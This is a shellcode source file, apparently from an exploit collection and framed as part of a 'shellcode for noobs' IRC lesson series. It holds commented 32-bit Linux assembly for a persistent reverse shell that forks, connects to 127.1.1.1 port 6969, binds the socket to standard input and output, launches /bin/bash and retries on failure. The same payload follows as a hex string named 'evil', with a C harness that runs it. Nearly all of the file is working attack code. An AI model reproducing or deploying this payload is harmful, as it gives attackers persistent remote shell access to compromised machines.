persistent (Mostly) invisible shellcode connect back shell

// Written By: MadMouse
/*
;
; part of my shellcode for noobs lesson series hosted in #goatzzz on irc.enigmagroup.org
;
; ----------------------------------------------------------------------------
; "THE BEER-WARE LICENSE" (Revision 43):
; <[email protected]> wrote this file. As long as you retain this notice you
; can do whatever you want with this stuff. If we meet some day, and you think
; this stuff is worth it, you can buy me a beer in return Aaron R. Yool
; ----------------------------------------------------------------------------
; 32bit call: eax args: ebx, ecx, edx, esi, edi, and ebp
[bits 32]
section .text
global _start
_start:
; fork(void);
    xor eax,eax ; cleanup after rdtsc
    xor edx,edx ; ....
    xor ebx,ebx ; cleanup the rest
    xor ecx,ecx ; ....
    mov al,0x02
    int 0x80
    cmp eax,1   ; if this is a child, or we have failed to clone
    jl fork     ; jump to the main code
    jmp exit
fork:
; socket(AF_INET, SOCK_STREAM, 0);
    push eax
    push byte 0x1 ; SOCK_STREAM
    push byte 0x2 ; AF_INET
    mov al, 0x66 ; sys_socketcall
    mov bl,0x1  ; sys_socket
    mov ecx,esp
    int 0x80

; dup2(s,i);
    mov ebx,eax ; s
    xor ecx,ecx
loop:
    mov al,0x3f ; sys_dup2
    int 0x80
    inc ecx
    cmp ecx,4
    jne loop

; connect(s, (sockaddr *) &addr,0x10);
    push 0x0101017f     ; IP = 127.1.1.1
    push word 0x391b    ; PORT = 6969
    push word 0x2       ; AF_INET
    mov ecx,esp

    push byte 0x10
    push ecx        ;pointer to arguments
    push ebx        ; s -> standard out/in
    mov ecx,esp
    mov al,0x66
    int 0x80
    xor ecx,ecx
    sub eax,ecx
    jnz cleanup ; cleanup and start over

; fork(void);
    mov al,0x02
    int 0x80
    cmp eax,1   ; if this is a child, or we have failed to clone
    jl client   ; jump to the shell
    xor eax,eax
    push eax
    jmp cleanup ; cleanup and start over

client:
; execve(SHELLPATH,{SHELLPATH,0},0);
    mov al,0x0b
    jmp short sh
load_sh:
    pop esi
    push edx ; 0
    push esi
    mov ecx,esp
    mov ebx,esi
    int 0x80

cleanup:
; close(%ebx)
    xor eax,eax
    mov al,0x6
    int 0x80
cloop:
    rdtsc
    pause
    cmp eax,0xffffffff
    pause
    jle cloop
    jmp _start

exit:
; exit(0);
    xor eax,eax
    mov al,0x1
    xor ebx,ebx
    int 0x80

sh:
    call load_sh
    db "/bin/bash"


*/

const char evil[] = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\xb0\x02\xcd\x80\x83\xf8\x01\x7c\x02\xeb\x62\x50\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x04\x75\xf6\x68\x7f\x01\x01\x01\x66\x68\x1b\x39\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0\x66\xcd\x80\x31\xc9\x29\xc8\x75\x1b\xb0\x02\xcd\x80\x83\xf8\x01\x7c\x05\x31\xc0\x50\xeb\x0d\xb0\x0b\xeb\x1f\x5e\x52\x56\x89\xe1\x89\xf3\xcd\x80\x31\xc0\xb0\x06\xcd\x80\xf3\x90\x0f\x31\xf3\x90\xeb\x8b\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";

typedef void (*shellcode)(void);
void main(void)
{
    ((shellcode)evil)();
}